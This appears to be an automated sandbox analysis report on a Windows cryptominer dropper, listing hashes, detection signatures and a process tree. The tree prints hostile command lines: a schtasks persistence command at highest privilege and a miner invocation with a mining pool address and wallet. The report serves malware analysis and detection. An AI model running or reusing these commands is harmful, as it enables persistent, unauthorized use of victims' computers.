Analysis
-
max time kernel
79s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
30-09-2022 20:24
Static task
static1
Behavioral task
behavioral1
Sample
0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.exe
Resource
win7-20220812-en
General
-
Target
0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.exe
-
Size
833KB
-
MD5
e94daf09612a7fa6491ff9ff47cd8cae
-
SHA1
fa0abf6e1bfa33f2f180b2fad4928cbadeb7f014
-
SHA256
0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37
-
SHA512
4a2279b7c1c5eed840d8056b585962dea818cd4e5454f42a0caf9b1c56ba06a892acce77dbc6b0598e46f83e6ecb376d2ea42d7b5b15877536bfa31c340dc73a
-
SSDEEP
6144:o2j7MpEXhM4uccEV0SvafIxRT3ChsYwSZpji1X+i22Usn3tezndwI/VLuwUUblRB:X5ucdV0LoSf2+VI3EhHPZR7F
Malware Config
Signatures
-
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral2/memory/1008-144-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/1008-143-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/1008-145-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/1008-146-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/1008-148-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/1008-152-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
JW.exepid process 400 JW.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
JW.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation JW.exe -
Uses the VBS compiler for execution 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
JW.exedescription pid process target process PID 400 set thread context of 1008 400 JW.exe vbc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1180 timeout.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
JW.exepid process 400 JW.exe 400 JW.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 644 -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.exeJW.exevbc.exedescription pid process Token: SeDebugPrivilege 4912 0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.exe Token: SeDebugPrivilege 400 JW.exe Token: SeLockMemoryPrivilege 1008 vbc.exe Token: SeLockMemoryPrivilege 1008 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
vbc.exepid process 1008 vbc.exe -
Suspicious use of WriteProcessMemory 24 IoCs
Processes:
0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.execmd.exeJW.execmd.exedescription pid process target process PID 4912 wrote to memory of 2432 4912 0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.exe cmd.exe PID 4912 wrote to memory of 2432 4912 0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.exe cmd.exe PID 2432 wrote to memory of 1180 2432 cmd.exe timeout.exe PID 2432 wrote to memory of 1180 2432 cmd.exe timeout.exe PID 2432 wrote to memory of 400 2432 cmd.exe JW.exe PID 2432 wrote to memory of 400 2432 cmd.exe JW.exe PID 400 wrote to memory of 2264 400 JW.exe cmd.exe PID 400 wrote to memory of 2264 400 JW.exe cmd.exe PID 2264 wrote to memory of 2024 2264 cmd.exe schtasks.exe PID 2264 wrote to memory of 2024 2264 cmd.exe schtasks.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe PID 400 wrote to memory of 1008 400 JW.exe vbc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.exe"C:\Users\Admin\AppData\Local\Temp\0c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD6EC.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
C:\ProgramData\system32\JW.exe"C:\ProgramData\system32\JW.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JW" /tr "C:\ProgramData\system32\JW.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JW" /tr "C:\ProgramData\system32\JW.exe"5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a cryptonight-heavy --url=pool.hashvault.pro:5555 -u 47UkNrHRk4agJcyuYKGhvY4UPDJPELWo3T99w2bjnPGzSrhqXr9fwr6UwxKNSmVuc68LF1yhcqUqoSnCZBwK6WE9Lokat8v -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\system32\JW.exeFilesize
833KB
MD5e94daf09612a7fa6491ff9ff47cd8cae
SHA1fa0abf6e1bfa33f2f180b2fad4928cbadeb7f014
SHA2560c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37
SHA5124a2279b7c1c5eed840d8056b585962dea818cd4e5454f42a0caf9b1c56ba06a892acce77dbc6b0598e46f83e6ecb376d2ea42d7b5b15877536bfa31c340dc73a
-
C:\ProgramData\system32\JW.exeFilesize
833KB
MD5e94daf09612a7fa6491ff9ff47cd8cae
SHA1fa0abf6e1bfa33f2f180b2fad4928cbadeb7f014
SHA2560c78984cd2afe869307aca9d8dc9d257f650616b12fa45a2a79a83821f1e7b37
SHA5124a2279b7c1c5eed840d8056b585962dea818cd4e5454f42a0caf9b1c56ba06a892acce77dbc6b0598e46f83e6ecb376d2ea42d7b5b15877536bfa31c340dc73a
-
C:\Users\Admin\AppData\Local\Temp\tmpD6EC.tmp.batFilesize
139B
MD57f51ae9772e4a8b18e39b6bb33528869
SHA1ff96ec3f82eb432f91a5f46243434b328b03ed2e
SHA2562eb354ee1793909769132d84b7c195ce2c179ff8f454c64b0f679d4a4976d3db
SHA5123bd0b6e81175923e069e9bcde3e2123274e1f97bda4a545e82025363b2f8d0b3446cc8a316a3053a64c9cd60e56a9a620a7c01ad0024b08abf2c2d40c917ee80
-
memory/400-151-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmpFilesize
10.8MB
-
memory/400-149-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmpFilesize
10.8MB
-
memory/400-140-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmpFilesize
10.8MB
-
memory/400-137-0x0000000000000000-mapping.dmp
-
memory/1008-147-0x00000199C8F10000-0x00000199C8F30000-memory.dmpFilesize
128KB
-
memory/1008-146-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1008-154-0x00000199CA910000-0x00000199CA930000-memory.dmpFilesize
128KB
-
memory/1008-153-0x00000199CA910000-0x00000199CA930000-memory.dmpFilesize
128KB
-
memory/1008-144-0x0000000140343234-mapping.dmp
-
memory/1008-143-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1008-145-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1008-152-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1008-150-0x00000199CA8D0000-0x00000199CA910000-memory.dmpFilesize
256KB
-
memory/1008-148-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1180-135-0x0000000000000000-mapping.dmp
-
memory/2024-142-0x0000000000000000-mapping.dmp
-
memory/2264-141-0x0000000000000000-mapping.dmp
-
memory/2432-133-0x0000000000000000-mapping.dmp
-
memory/4912-132-0x0000000000AA0000-0x0000000000B74000-memory.dmpFilesize
848KB
-
memory/4912-136-0x00007FFA06FA0000-0x00007FFA07A61000-memory.dmpFilesize
10.8MB